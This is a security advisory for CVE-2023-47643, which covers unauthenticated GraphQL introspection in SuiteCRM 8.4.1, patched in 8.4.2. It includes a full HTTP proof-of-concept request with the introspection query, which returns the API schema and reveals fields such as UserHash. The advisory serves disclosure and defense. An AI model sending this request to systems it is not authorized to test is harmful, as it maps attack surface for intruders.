Skip to content

Unauthenticated Graphql Introspection Enabled

Low
clemente-raposo published GHSA-fxww-jqfv-9rrr Nov 21, 2023

Package

SuiteCRM

Affected versions

8.4.1

Patched versions

8.4.2

Description

Impact

Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.

An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.

Proof of Concept

Send the following POST request, which will return the full introspection scheme:

POST /api/graphql HTTP/2
Host: localhost
Cookie:....
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/
X-Xsrf-Token: ....
Content-Type: application/json
Content-Length: 1732
Origin: https://localhost
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{
    "query":"
        query IntrospectionQuery {
            __schema {
                queryType {
                    name
                }
                mutationType {
                    name
                }
                subscriptionType {
                    name
                }
                types {
                ...FullType
                }
                directives {
                    name
                    description
                    args {
                        ...InputValue
                }
                onOperation  #Often needs to be deleted to run query
                onFragment   #Often needs to be deleted to run query
                onField      #Often needs to be deleted to run query
                }
            }
        }

        fragment FullType on __Type {
            kind
            name
            description
            fields(includeDeprecated: true) {
                name
                description
                args {
                    ...InputValue
                }
                type {
                    ...TypeRef
                }
                isDeprecated
                deprecationReason
            }
            inputFields {
                ...InputValue
            }
            interfaces {
                ...TypeRef
            }
            enumValues(includeDeprecated: true) {
                name
                description
                isDeprecated
                deprecationReason
            }
            possibleTypes {
                ...TypeRef
            }
        }

        fragment InputValue on __InputValue {
            name
            description
            type {
                ...TypeRef
            }
            defaultValue
        }

        fragment TypeRef on __Type {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                    ofType {
                        kind
                        name
                    }
                }
            }
        }
    "
}

Patches

Has the problem been patched? What versions should users upgrade to?
Patched in version 8.4.2

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • no workarounds

References

Are there any links users can visit to find out more?

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2023-47643

Weaknesses

Credits